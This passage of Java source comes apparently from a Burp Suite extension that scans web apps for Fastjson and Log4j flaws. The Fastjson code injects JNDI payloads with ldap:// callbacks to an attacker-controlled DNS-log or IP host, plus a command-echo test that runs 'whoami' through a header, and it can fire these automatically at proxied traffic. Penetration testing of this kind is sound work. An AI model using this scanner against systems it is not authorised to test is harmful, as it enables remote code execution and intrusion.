currentlyDisplayedItem.getHttpService();\n    }\n\n    @Override\n    public byte[] getRequest() {\n        return currentlyDisplayedItem.getRequest();\n    }\n\n    @Override\n    public byte[] getResponse() {\n        return currentlyDisplayedItem.getResponse();\n    }\n\n    @Override\n    public void init() {\n\n        dnslog = getConfig(\"config\", \"dnslog\").getValue();\n        ip = getConfig(\"config\", \"ip\").getValue();\n        jndiPayloads = getFastjsonListsByType(\"jndi\");\n        versionPayloads = getFastjsonListsByType(\"version\");\n        dnsPayloads = getFastjsonListsByType(\"dns\");\n        echoPayloads = getFastjsonListsByType(\"echo\");\n        setupUI();\n        setupData();\n        // 注册HTTP监听器\n        Utils.callbacks.registerHttpListener(this);\n    }\n\n    // 初始化数据\n    private void setupData() {\n        // 清空按钮事件\n        btnClear.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                fastjsonlog.clear();\n                UrlCacheUtil.resetCache(\"fastjson\");  // 清空URL缓存\n                HRequestTextEditor.setMessage(new byte[0], true);\n                HResponseTextEditor.setMessage(new byte[0], false);\n                refreshTable();\n            }\n        });\n\n        // 刷新按钮事件\n        btnRefresh.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                refreshTable();\n            }\n        });\n\n        // 自动刷新开关事件\n        autoRefreshCheckBox.addActionListener(e -> {\n            setAutoRefresh(autoRefreshCheckBox.isSelected());\n            if(autoRefreshCheckBox.isSelected()) {\n                refreshTable(); // 当开启自动刷新时，立即进行一次刷新\n            }\n        });\n        // 添加被动扫描复选框事件监听\n        passiveScanCheckBox.addActionListener(e -> {\n            isPassiveScanEnabled = passiveScanCheckBox.isSelected();\n        });\n    }\n\n    // 刷新表格方法\n    private static void refreshTable() {\n        SwingUtilities.invokeLater(() -> {\n            if(fastjsonTable != null) {\n                ((AbstractTableModel)fastjsonTable.getModel()).fireTableDataChanged();\n            }\n        });\n    }\n\n    // 初始化UI\n    private void setupUI() {\n        panel = new JPanel();\n        panel.setLayout(new BorderLayout());\n        // 顶部面板添加清空按钮和被动扫描复选框\n        JPanel topPanel = new JPanel(new FlowLayout(FlowLayout.LEFT));\n        btnClear = new JButton(I18nUtils.get(\"fastjson.button.clear\"));\n        passiveScanCheckBox = new JCheckBox(I18nUtils.get(\"fastjson.checkbox.passive_scan\"));\n        btnRefresh = new JButton(I18nUtils.get(\"fastjson.button.refresh\"));\n        autoRefreshCheckBox = new JCheckBox(I18nUtils.get(\"fastjson.checkbox.auto_refresh\"));\n        autoRefreshCheckBox.setSelected(true); // 默认开启自动刷新\n        topPanel.add(btnClear);\n        topPanel.add(btnRefresh);\n        topPanel.add(autoRefreshCheckBox);\n        topPanel.add(passiveScanCheckBox);\n        panel.add(topPanel, BorderLayout.NORTH);\n\n        // 上下分割面板,比例是7：3\n        JSplitPane mainsplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT);\n        mainsplitPane.setResizeWeight(0.7);\n        mainsplitPane.setDividerLocation(0.7);\n\n        // 添加URLTable到mainsplitPane的上边\n        fastjsonTable = new URLTable(new FastjsonModel());\n        JScrollPane scrollPane = new JScrollPane(fastjsonTable);\n        mainsplitPane.setTopComponent(scrollPane);\n\n        // 创建一个自定义的单元格渲染器\n        DefaultTableCellRenderer renderer = new DefaultTableCellRenderer() {\n            @Override\n            public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) {\n                JLabel label = (JLabel) super.getTableCellRendererComponent(table, value, isSelected, hasFocus, row, column);\n                label.setHorizontalAlignment(JLabel.CENTER);\n                label.setHorizontalTextPosition(JLabel.CENTER);\n                label.setIconTextGap(0);\n                label.setMaximumSize(new Dimension(Integer.MAX_VALUE, label.getPreferredSize().height));\n                label.setToolTipText((String) value); // 设置鼠标悬停时显示的提示文本\n                return label;\n            }\n        };\n\n        fastjsonTable.getColumnModel().getColumn(5).setCellRenderer(renderer);\n\n        // 左右分割面板,对称分割\n        JSplitPane splitPaneDown = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT);\n        splitPaneDown.setResizeWeight(0.5);\n        splitPaneDown.setDividerLocation(0.5);\n        // 添加请求响应到左右分割面板\n        fastjsonreq = new JTabbedPane();\n        HRequestTextEditor = Utils.callbacks.createMessageEditor(FastjsonUI.this, true);\n        fastjsonreq.addTab(\"Request\", HRequestTextEditor.getComponent());\n\n        fastjsonresp = new JTabbedPane();\n        HResponseTextEditor = Utils.callbacks.createMessageEditor(FastjsonUI.this, false);\n        fastjsonresp.addTab(\"Response\", HResponseTextEditor.getComponent());\n        splitPaneDown.setLeftComponent(fastjsonreq);\n        splitPaneDown.setRightComponent(fastjsonresp);\n\n        // 添加splitPaneDown到mainsplitPane的下边\n        mainsplitPane.setBottomComponent(splitPaneDown);\n\n        panel.add(mainsplitPane, BorderLayout.CENTER);\n\n    }\n\n    @Override\n    public JPanel getPanel(IBurpExtenderCallbacks callbacks) {\n        return panel;\n    }\n\n    @Override\n    public String getTabName() {\n        return \"Fastjson\";\n    }\n    // dnslog检测\n    public void CheckDnslog(IHttpRequestResponse[] responses) {\n        lock.lock();\n        try{\n            IHttpRequestResponse baseRequestResponse = responses[0];\n            IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse);\n            String extensionMethod = analyzeRequest.getMethod();\n            URL dnsurl = analyzeRequest.getUrl();\n            String url = analyzeRequest.getUrl().toString();\n            List<String> headers = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders();\n            String res = \"dnslog检测,请查看dnslog服务器\";\n            IHttpService iHttpService = baseRequestResponse.getHttpService();\n            for (FastjsonBean fastjson : dnsPayloads) {\n                String fastjsonDnslog = fastjson.getValue();\n                String dnslogPayload = Utils.generateDnsPayload(dnsurl, dnslog);\n                String fuzzPayload = fastjsonDnslog.replace(\"FUZZ\", dnslogPayload);\n                String jsonPayload = JsonUtils.encodeToJsonRandom(fuzzPayload);\n                byte[] bytePayload = Utils.helpers.stringToBytes(jsonPayload);\n                byte[] postMessage = Utils.helpers.buildHttpMessage(headers, bytePayload); // 目前只支持post\n                IHttpRequestResponse resp = Utils.callbacks.makeHttpRequest(iHttpService, postMessage);\n                IResponseInfo iResponseInfo = Utils.callbacks.getHelpers().analyzeResponse(resp.getResponse());\n                String statusCode = String.valueOf(iResponseInfo.getStatusCode());\n                add(extensionMethod, url, statusCode, res, fuzzPayload,resp);\n            }\n        }finally {\n            lock.unlock();\n        }\n\n    }\n\n    // echo命令检测\n    public void CheckEchoVul(IHttpRequestResponse[] responses) {\n        lock.lock();\n        try{\n            IHttpRequestResponse baseRequestResponse = responses[0];\n            IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse);\n            String extensionMethod = analyzeRequest.getMethod();\n            String url = analyzeRequest.getUrl().toString();\n            List<String> headers = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders();\n            // 弹出一个输入框，用于获取用户输入的dnslog地址\n            String defaultValue = \"whoami\";\n            String echoVul = (String) JOptionPane.showInputDialog(null, I18nUtils.get(\"fastjson.message.enter_echo\"), I18nUtils.get(\"config.title.info\"), JOptionPane.PLAIN_MESSAGE, null, null, defaultValue);\n            if (echoVul == null){\n                JOptionPane.showMessageDialog(null, I18nUtils.get(\"fastjson.message.enter_echo\"), I18nUtils.get(\"config.title.info\"), JOptionPane.ERROR_MESSAGE);\n                return;\n            }\n            IHttpService iHttpService = baseRequestResponse.getHttpService();\n            Iterator<FastjsonBean> iterator = echoPayloads.iterator();\n            headers.add(\"Accept-Cache: \" + echoVul);\n            while (iterator.hasNext()) {\n                FastjsonBean fastjson = iterator.next();\n                String fastjsonEcho = fastjson.getValue();\n                byte[] bytePayload = Utils.helpers.stringToBytes(fastjsonEcho);\n                byte[] postMessage = Utils.helpers.buildHttpMessage(headers, bytePayload); // 目前只支持post\n                IHttpRequestResponse resp = Utils.callbacks.makeHttpRequest(iHttpService, postMessage);\n                IResponseInfo iResponseInfo = Utils.callbacks.getHelpers().analyzeResponse(resp.getResponse());\n                String statusCode = String.valueOf(iResponseInfo.getStatusCode());\n                List<String> headersResp = iResponseInfo.getHeaders();\n                boolean containsContentAuth = false;\n                for (String header : headersResp) {\n                    if (header.contains(\"Content-auth\")) {\n                        containsContentAuth = true;\n                        break;\n                    }\n                }\n                if (containsContentAuth) {\n                    add(extensionMethod, url, statusCode, \"echo命令检测完成,发现结果\",fastjsonEcho, resp);\n                    IScanIssue issues = null;\n                    try {\n                        issues = new CustomScanIssue(iHttpService, new URL(url), new IHttpRequestResponse[]{resp},\n                                \"Fastjson echo\", \"Fastjson echo命令检测完成,发现结果\",\n                                \"High\", \"Certain\");\n                        Utils.callbacks.addScanIssue(issues);\n                    } catch (MalformedURLException e) {\n                        throw new RuntimeException(e);\n                    }\n                } else {\n                    add(extensionMethod, url, statusCode, \"echo命令检测完成,未发现结果\",fastjsonEcho, resp);\n                }\n            }\n        }finally {\n            lock.unlock();\n        }\n    }\n    // jndi检测\n    public void CheckJNDIVul(IHttpRequestResponse[] responses) {\n        lock.lock();\n        try {\n            IHttpRequestResponse baseRequestResponse = responses[0];\n            IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse);\n            String extensionMethod = analyzeRequest.getMethod();\n            String url = analyzeRequest.getUrl().toString();\n            List<String> headers = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders();\n            try {\n\n                String jndiStr = \"\";\n                String defaultValue = \"IP\"; // 设置默认值\n                String[] options = {\"DNS\", \"IP\"}; // 单选框选项\n                String selectedValue = (String) JOptionPane.showInputDialog(null, I18nUtils.get(\"fastjson.dialog.select_type\"), I18nUtils.get(\"fastjson.dialog.tip\"),\n                        JOptionPane.PLAIN_MESSAGE, null, options, defaultValue);\n                if (Objects.equals(selectedValue, \"DNS\")) {\n                    jndiStr = dnslog;\n                }\n                if (Objects.equals(selectedValue, \"IP\")) {\n                    jndiStr = ip;\n                }\n\n                IHttpService iHttpService = baseRequestResponse.getHttpService();\n                for (FastjsonBean payload : jndiPayloads) {\n                    String dnslogKey = \"\";\n\n                    String fastjsonJNDI = payload.getValue();\n                    String id = String.valueOf(payload.getId());\n                    if (selectedValue.equals(\"DNS\")) {\n                        dnslogKey = \"ldap://\" + id + \".\" + jndiStr;\n                    } else {\n                        dnslogKey = \"ldap://\" + jndiStr + \"/\" + id;\n                    }\n                    String fuzzPayload = fastjsonJNDI.replace(\"FUZZ\", dnslogKey);\n                    String jsonPayload = JsonUtils.encodeToJsonRandom(fuzzPayload);\n                    byte[] bytePayload = Utils.helpers.stringToBytes(jsonPayload);\n                    byte[] postMessage = Utils.helpers.buildHttpMessage(headers, bytePayload); // 目前只支持post\n                    IHttpRequestResponse resp = Utils.callbacks.makeHttpRequest(iHttpService, postMessage);\n                    IResponseInfo iResponseInfo = Utils.callbacks.getHelpers().analyzeResponse(resp.getResponse());\n                    String statusCode = String.valueOf(iResponseInfo.getStatusCode());\n                    add(extensionMethod, url, statusCode, \"jndi检测完成,请查看服务器\",fuzzPayload, resp);\n                }\n            } catch (Exception e) {\n                Utils.stderr.println(e.getMessage());\n            }\n        }finally {\n            lock.unlock();\n        }\n    }\n    // version检测\n    public void CheckVersion(IHttpRequestResponse[] responses) {\n        lock.lock();\n        try{\n            IHttpRequestResponse baseRequestResponse = responses[0];\n            IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse);\n            String extensionMethod = analyzeRequest.getMethod();\n            String url = analyzeRequest.getUrl().toString();\n            List<String> headers = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders();\n            IHttpService iHttpService = baseRequestResponse.getHttpService();\n            for (FastjsonBean fastjson : versionPayloads) {\n                String fastjsonVersion = fastjson.getValue();\n                byte[] bytePayload = Utils.helpers.stringToBytes(fastjsonVersion);\n                byte[] postMessage = Utils.helpers.buildHttpMessage(headers, bytePayload); // 目前只支持post\n                IHttpRequestResponse resp = Utils.callbacks.makeHttpRequest(iHttpService, postMessage);\n                IResponseInfo iResponseInfo = Utils.callbacks.getHelpers().analyzeResponse(resp.getResponse());\n                String statusCode = String.valueOf(iResponseInfo.getStatusCode());\n                add(extensionMethod, url, statusCode, \"version检测完成,请查看返回包\",fastjsonVersion, resp);\n            }\n        }finally {\n            lock.unlock();\n        }\n    }\n    // 添加日志\n    private static void add(String extensionMethod, String url, String status, String res,String req, IHttpRequestResponse baseRequestResponse) {\n        synchronized (fastjsonlog) {\n            int id = fastjsonlog.size();\n            fastjsonlog.add(new FastjsonEntry(id, extensionMethod, url, status, res,req, baseRequestResponse));\n            // 只保留refreshTable即可，删除updateUI\n            if(autoRefresh) {\n                refreshTable();\n            }\n        }\n    }\n    public static void setAutoRefresh(boolean value) {\n        synchronized (refreshLock) {\n            autoRefresh = value;\n        }\n    }\n\n    @Override\n    public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo) {\n        // 只处理被动扫描启用、响应包、且来自代理或Spider的请求\n        if (!isPassiveScanEnabled || messageIsRequest ||\n                (toolFlag != IBurpExtenderCallbacks.TOOL_PROXY &&\n                        toolFlag != IBurpExtenderCallbacks.TOOL_SPIDER)) {\n            return;\n        }\n\n        IRequestInfo requestInfo = Utils.helpers.analyzeRequest(messageInfo);\n        URL infoUrl = requestInfo.getUrl();\n        String url = requestInfo.getUrl().toString();\n        String method = requestInfo.getMethod();\n        List<String> headers = requestInfo.getHeaders();\n\n        // 检查是否为静态资源\n        if (Utils.isUrlBlackListSuffix(url)) {\n            return;\n        }\n\n        // 检查是否重复\n        if (!UrlCacheUtil.checkUrlUnique(\"fastjson\", method, infoUrl, new ArrayList<>())) {\n            return;\n        }\n\n        // 检查是否为POST请求且Content-Type为JSON\n        if (!\"POST\".equalsIgnoreCase(method)) {\n            return;\n        }\n\n        boolean isJson = false;\n        for (String header : headers) {\n            if (header.toLowerCase().contains(\"content-type\") &&\n                    header.toLowerCase().contains(\"application/json\")) {\n                isJson = true;\n                break;\n            }\n        }\n\n        if (!isJson) {\n            return;\n        }\n\n        // 进行Fastjson被动扫描测试\n        performPassiveScan(messageInfo);\n    }\n\n    // 执行被动扫描测试\n    private void performPassiveScan(IHttpRequestResponse baseRequestResponse) {\n        try {\n            IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse);\n            String url = analyzeRequest.getUrl().toString();\n            String method = analyzeRequest.getMethod();\n            List<String> headers = analyzeRequest.getHeaders();\n            IHttpService httpService = baseRequestResponse.getHttpService();\n            URL dnsurl = analyzeRequest.getUrl();\n            // 使用dnslog payload进行测试\n            for (FastjsonBean fastjson : dnsPayloads) {\n                String fastjsonDnslog = fastjson.getValue();\n                String dnslogPayload = Utils.generateDnsPayload(dnsurl, dnslog);\n                String fuzzPayload = fastjsonDnslog.replace(\"FUZZ\", dnslogPayload);\n                String jsonPayload = JsonUtils.encodeToJsonRandom(fuzzPayload);\n                byte[] bytePayload = Utils.helpers.stringToBytes(jsonPayload);\n                byte[] postMessage = Utils.helpers.buildHttpMessage(headers, bytePayload);\n\n                IHttpRequestResponse resp = Utils.callbacks.makeHttpRequest(httpService, postMessage);\n                IResponseInfo responseInfo = Utils.helpers.analyzeResponse(resp.getResponse());\n                String statusCode = String.valueOf(responseInfo.getStatusCode());\n\n                // 记录扫描结果\n                add(method, url, statusCode, \"被动扫描DNS检测\", fuzzPayload, resp);\n            }\n        } catch (Exception e) {\n            Utils.stderr.println(\"Passive scan error: \" + e.getMessage());\n        }\n    }\n\n    private static class FastjsonModel extends AbstractTableModel {\n\n        @Override\n        public int getRowCount() {\n            synchronized (fastjsonlog) {\n                return fastjsonlog.size();\n            }\n        }\n\n        @Override\n        public int getColumnCount() {\n            return 6;\n        }\n\n        @Override\n        public Object getValueAt(int rowIndex, int columnIndex) {\n            synchronized (fastjsonlog) {\n                if (rowIndex >= 0 && rowIndex < fastjsonlog.size()) {\n                    FastjsonEntry logEntry = fastjsonlog.get(rowIndex);\n                    switch (columnIndex) {\n                        case 0: return logEntry.id;\n                        case 1: return logEntry.extensionMethod;\n                        case 2: return logEntry.url;\n                        case 3: return logEntry.status;\n                        case 4: return logEntry.res;\n                        case 5: return logEntry.req;\n                        default: return \"\";\n                    }\n                }\n                return \"\";\n            }\n        }\n\n        @Override\n        public String getColumnName(int column) {\n            switch (column) {\n                case 0:\n                    return \"id\";\n                case 1:\n                    return \"method\";\n                case 2:\n                    return \"url\";\n                case 3:\n                    return \"status\";\n                case 4:\n                    return \"res\";\n                case 5:\n                    return \"req\";\n                default:\n                    return \"\";\n            }\n\n        }\n\n    }\n\n    private static class FastjsonEntry {\n        final int id;\n        final String extensionMethod;\n        final String url;\n        final String status;\n        final String res;\n        final String req;\n\n        final IHttpRequestResponse requestResponse;\n\n\n        private FastjsonEntry(int id, String extensionMethod, String url, String status, String res,String req, IHttpRequestResponse requestResponse) {\n            this.id = id;\n            this.extensionMethod = extensionMethod;\n            this.url = url;\n            this.status = status;\n            this.res = res;\n            this.req = req;\n            this.requestResponse = requestResponse;\n        }\n    }\n\n    private class URLTable extends JTable {\n        public URLTable(TableModel tableModel) {\n            super(tableModel);\n            TableColumnModel columnModel = getColumnModel();\n            columnModel.getColumn(0).setMaxWidth(50);\n            columnModel.getColumn(5).setMaxWidth(250);\n        }\n\n        @Override\n        public void changeSelection(int row, int col, boolean toggle, boolean extend) {\n            FastjsonEntry logEntry = fastjsonlog.get(row);\n            HRequestTextEditor.setMessage(logEntry.requestResponse.getRequest(), true);\n            if (logEntry.requestResponse.getResponse() == null) {\n                HResponseTextEditor.setMessage(new byte[0], false);\n            } else {\n                HResponseTextEditor.setMessage(logEntry.requestResponse.getResponse(), false);\n            }\n            currentlyDisplayedItem = logEntry.requestResponse;\n            super.changeSelection(row, col, toggle, extend);\n        }\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/ui/Log4jUI.java",
    "content": "package burp.ui;\n\nimport burp.*;\nimport burp.bean.Log4jBean;\nimport burp.ui.UIHepler.GridBagConstraintsHelper;\nimport burp.utils.I18nUtils;\nimport burp.utils.JsonUtils;\nimport burp.utils.Utils;\nimport burp.utils.UrlCacheUtil;\nimport com.alibaba.fastjson.JSON;\n\nimport javax.swing.*;\nimport javax.swing.table.AbstractTableModel;\nimport javax.swing.table.TableColumnModel;\nimport javax.swing.table.TableModel;\nimport java.awt.*;\nimport java.awt.event.ActionEvent;\nimport java.net.URL;\nimport java.util.List;\nimport java.util.*;\nimport java.util.concurrent.locks.Lock;\nimport java.util.concurrent.locks.ReentrantLock;\n\nimport static burp.IParameter.*;\nimport static burp.dao.ConfigDao.getConfig;\nimport static burp.dao.Log4jDao.*;\n\n/**\n * @Author Xm17\n * @Date 2024-06-22 12:45\n */\npublic class Log4jUI implements UIHandler, IMessageEditorController, IHttpListener {\n    private JPanel panel; // 主面板\n    private static JTable log4jtable; // log4j表格\n    private JCheckBox passiveScanCheckBox; // 被动扫描选择框\n    private JCheckBox originalValueCheckBox; // 原始payload值选择框\n    private JCheckBox checkHeaderCheckBox; // 检测header选择框\n    private JCheckBox isDnsOrIpCheckBox; // 是否是dns或者ip选择框\n    private JCheckBox checkWhiteListCheckBox; // 白名单域名检测选择框\n    private JCheckBox checkParmamCheckBox; // 检测参数选择框\n    private JButton saveWhiteListButton; // 保存白名单域名按钮\n    private JButton saveHeaderListButton; // 保存header按钮\n    private JButton savePayloadButton; // 保存log4j payload按钮\n    private JButton refreshTableButton; // 刷新表格按钮\n    private JButton clearTableButton;// 清空表格按钮\n    private JTextArea whiteListTextArea; // 白名单域名输入框\n    private JTextArea headerTextArea; // header输入框\n    private JTextArea payloadTextArea; // payload输入框\n    private JTabbedPane tabbedPanereq; // 请求tab\n    private JTabbedPane tabbedPaneresp; // 响应tab\n    private JScrollPane urltablescrollpane; // url table scroll pane\n    private IHttpRequestResponse currentlyDisplayedItem; // currently displayed item\n    private IMessageEditor HRequestTextEditor; // request editor\n    private IMessageEditor HResponseTextEditor; // response editor\n    private static final List<Log4jEntry> log4jlog = new ArrayList<>();\n    private static final List<String> parameterList = new ArrayList<>(); // 参数列表\n    private static final List<String> urlHashList = new ArrayList<>(); // url hash list\n    private static boolean isPassiveScan; // 是否是被动扫描\n    private static boolean isOriginalValue; // 是否删除原始值\n    private static boolean isCheckHeader; // 是否检测header\n    private static boolean isCheckParam; // 是否检测参数\n    private static boolean isDnsOrIp; // 是否是dns或者ip\n    private static boolean isCheckWhiteList; // 是否检测白名单\n    private static Set<String> log4jPayload = new LinkedHashSet<>(); // 存储log4j payload\n    private static List<String> payloadList = new ArrayList<>(); // payload列表\n    private static List<String> domainList = new ArrayList<>(); // 白名单域名\n    private static List<String> headerList = new ArrayList<>(); // header列表\n    public static String dns;\n    public static String ip;\n    private static final Lock lock = new ReentrantLock();\n    \n    public static void resetAllCaches() {\n        urlHashList.clear();\n        parameterList.clear();\n        UrlCacheUtil.resetCache(\"log4j\");\n    }\n\n\n    @Override\n    public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse iHttpRequestResponse) {\n        if (isPassiveScan && toolFlag == IBurpExtenderCallbacks.TOOL_PROXY && !messageIsRequest) {\n            synchronized (log4jlog) {\n                Thread thread = new Thread(new Runnable() {\n                    @Override\n                    public void run() {\n                        Check(new IHttpRequestResponse[]{iHttpRequestResponse},false);\n                    }\n                });\n                thread.start();\n            }\n        }\n    }\n\n    @Override\n    public IHttpService getHttpService() {\n        return currentlyDisplayedItem.getHttpService();\n    }\n\n    @Override\n    public byte[] getRequest() {\n        return currentlyDisplayedItem.getRequest();\n    }\n\n    @Override\n    public byte[] getResponse() {\n        return currentlyDisplayedItem.getResponse();\n    }\n\n    @Override\n    public void init() {\n\n        // 存储白名单域名\n        List<Log4jBean> domain = getLog4jListsByType(\"domain\");\n        // 将domain转为List<String>\n        for (Log4jBean log4jBean : domain) {\n            domainList.add(log4jBean.getValue());\n        }\n\n        dns = getConfig(\"config\", \"dnslog\").getValue();\n        ip = getConfig(\"config\", \"ip\").getValue();\n\n        setupUI();\n        setupData();\n    }\n\n    // 初始化数据\n    private void setupData() {\n\n        // 被动扫描选择框\n        passiveScanCheckBox.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                if (passiveScanCheckBox.isSelected()) {\n                    isPassiveScan = true;\n                } else {\n                    isPassiveScan = false;\n                }\n            }\n        });\n        // 原始payload值选择框\n        originalValueCheckBox.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                if (originalValueCheckBox.isSelected()) {\n                    isOriginalValue = true;\n                } else {\n                    isOriginalValue = false;\n                }\n            }\n        });\n        // 检测header选择框\n        checkHeaderCheckBox.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                if (checkHeaderCheckBox.isSelected()) {\n                    isCheckHeader = true;\n                } else {\n                    isCheckHeader = false;\n                }\n            }\n        });\n        // 检测参数选择框\n        checkParmamCheckBox.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                if (checkParmamCheckBox.isSelected()) {\n                    isCheckParam = true;\n                } else {\n                    isCheckParam = false;\n                }\n            }\n        });\n        // 是否是dns或者ip选择框\n        isDnsOrIpCheckBox.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                dns = getConfig(\"config\", \"dnslog\").getValue();\n                ip = getConfig(\"config\", \"ip\").getValue();\n                if (isDnsOrIpCheckBox.isSelected()) {\n                    isDnsOrIp = true;\n                    isDnsOrIpCheckBox.setText(\"DNS\");\n                } else {\n                    isDnsOrIp = false;\n                    isDnsOrIpCheckBox.setText(\"IP\");\n                }\n            }\n        });\n\n        // 初始化白名单输入框\n        List<Log4jBean> domain = getLog4jListsByType(\"domain\");\n        for (Log4jBean log4jBean : domain) {\n            whiteListTextArea.setText(whiteListTextArea.getText() + log4jBean.getValue() + \"\\n\");\n            domainList.add(log4jBean.getValue());\n        }\n        // 初始化header输入框\n        List<Log4jBean> header = getLog4jListsByType(\"header\");\n        for (Log4jBean log4jBean : header) {\n            headerTextArea.setText(headerTextArea.getText() + log4jBean.getValue() + \"\\n\");\n            headerList.add(log4jBean.getValue());\n        }\n        // 初始化payload输入框\n        List<Log4jBean> payload = getLog4jListsByType(\"payload\");\n        for (Log4jBean log4jBean : payload) {\n            payloadTextArea.setText(payloadTextArea.getText() + log4jBean.getValue() + \"\\n\");\n            payloadList.add(log4jBean.getValue());\n        }\n\n        // 检测白名单选择框\n        checkWhiteListCheckBox.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                if (checkWhiteListCheckBox.isSelected()) {\n                    isCheckWhiteList = true;\n                } else {\n                    isCheckWhiteList = false;\n                }\n            }\n        });\n        // 保存白名单域名按钮\n        saveWhiteListButton.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                String whiteListTextAreaText = whiteListTextArea.getText();\n                deleteLog4jByType(\"domain\");\n                // 如果包含换行符，就分割成多个domain\n                if (whiteListTextAreaText.contains(\"\\n\")) {\n                    String[] split = whiteListTextAreaText.split(\"\\n\");\n                    for (String s : split) {\n                        Log4jBean log4jBean = new Log4jBean(\"domain\", s);\n                        saveLog4j(log4jBean);\n                    }\n                } else {\n                    Log4jBean log4jBean = new Log4jBean(\"domain\", whiteListTextAreaText);\n                    saveLog4j(log4jBean);\n                }\n                // 存储白名单域名\n                List<Log4jBean> domain = getLog4jListsByType(\"domain\");\n                // 将domain转为List<String>\n                for (Log4jBean log4jBean : domain) {\n                    domainList.add(log4jBean.getValue());\n                }\n                whiteListTextArea.updateUI();\n                JOptionPane.showMessageDialog(null, I18nUtils.get(\"config.message.save_success\"), I18nUtils.get(\"config.title.info\"), JOptionPane.INFORMATION_MESSAGE);\n            }\n        });\n        // 保存header按钮\n        saveHeaderListButton.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                String headerTextAreaText = headerTextArea.getText();\n                deleteLog4jByType(\"header\");\n                String[] split = headerTextAreaText.split(\"\\n\");\n                for (String s : split) {\n                    Log4jBean log4jBean = new Log4jBean(\"header\", s);\n                    saveLog4j(log4jBean);\n                }\n                List<Log4jBean> header = getLog4jListsByType(\"header\");\n                for (Log4jBean log4jBean : header) {\n                    headerList.add(log4jBean.getValue());\n                }\n                headerTextArea.updateUI();\n                JOptionPane.showMessageDialog(null, I18nUtils.get(\"config.message.save_success\"), I18nUtils.get(\"config.title.info\"), JOptionPane.INFORMATION_MESSAGE);\n            }\n        });\n        // 保存payload按钮\n        savePayloadButton.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                String payloadTextAreaText = payloadTextArea.getText();\n                deleteLog4jByType(\"payload\");\n                String[] split = payloadTextAreaText.split(\"\\n\");\n                for (String s : split) {\n                    Log4jBean log4jBean = new Log4jBean(\"payload\", s);\n                    saveLog4j(log4jBean);\n                }\n                List<Log4jBean> payload = getLog4jListsByType(\"payload\");\n                for (Log4jBean log4jBean : payload) {\n                    payloadList.add(log4jBean.getValue());\n                }\n\n\n                payloadTextArea.updateUI();\n                JOptionPane.showMessageDialog(null, I18nUtils.get(\"config.message.save_success\"), I18nUtils.get(\"config.title.info\"), JOptionPane.INFORMATION_MESSAGE);\n            }\n        });\n        // 刷新表格\n        refreshTableButton.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                log4jtable.updateUI();\n            }\n        });\n\n        // 清空表格\n        clearTableButton.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                log4jlog.clear();\n                HRequestTextEditor.setMessage(new byte[0], true);\n                HResponseTextEditor.setMessage(new byte[0], false);\n                urlHashList.clear();\n                UrlCacheUtil.resetCache(\"log4j\");  // 清空URL缓存\n                log4jtable.updateUI();\n            }\n        });\n\n    }\n\n    // 初始化UI\n    private void setupUI() {\n        // 注册被动扫描监听器\n        Utils.callbacks.registerHttpListener(this);\n        panel = new JPanel();\n        panel.setLayout(new BorderLayout());\n\n        JPanel splitPane = new JPanel(new BorderLayout());\n        // 左边的面板\n        // 左边的上下按7:3分割\n        JSplitPane leftSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT);\n        leftSplitPane.setResizeWeight(0.7);\n        leftSplitPane.setDividerLocation(0.7);\n        // 左边的上面是表格\n        urltablescrollpane = new JScrollPane();\n        log4jtable = new URLTable(new Log4jModel());\n        urltablescrollpane.setViewportView(log4jtable);\n        leftSplitPane.setTopComponent(urltablescrollpane);\n\n\n\n        // 左边的下面是消息编辑器\n        tabbedPanereq = new JTabbedPane();\n        tabbedPaneresp = new JTabbedPane();\n        HRequestTextEditor = Utils.callbacks.createMessageEditor(this, false);\n        HResponseTextEditor = Utils.callbacks.createMessageEditor(this, false);\n        tabbedPanereq.addTab(\"Request\", HRequestTextEditor.getComponent());\n        tabbedPaneresp.addTab(\"Response\", HResponseTextEditor.getComponent());\n        JSplitPane leftDownSplitPane = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT);\n        leftDownSplitPane.setResizeWeight(0.5);\n        leftDownSplitPane.setDividerLocation(0.5);\n        leftDownSplitPane.setLeftComponent(tabbedPanereq);\n        leftDownSplitPane.setRightComponent(tabbedPaneresp);\n        leftSplitPane.setBottomComponent(leftDownSplitPane);\n\n\n        // 右边的面板\n        // 右边的上下按7:3分割\n        JSplitPane rightSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT);\n        rightSplitPane.setResizeWeight(0.7);\n        rightSplitPane.setDividerLocation(0.7);\n\n\n        // 右边的上部分 - 重新设计布局\n        // 添加被动扫描选择框\n        passiveScanCheckBox = new 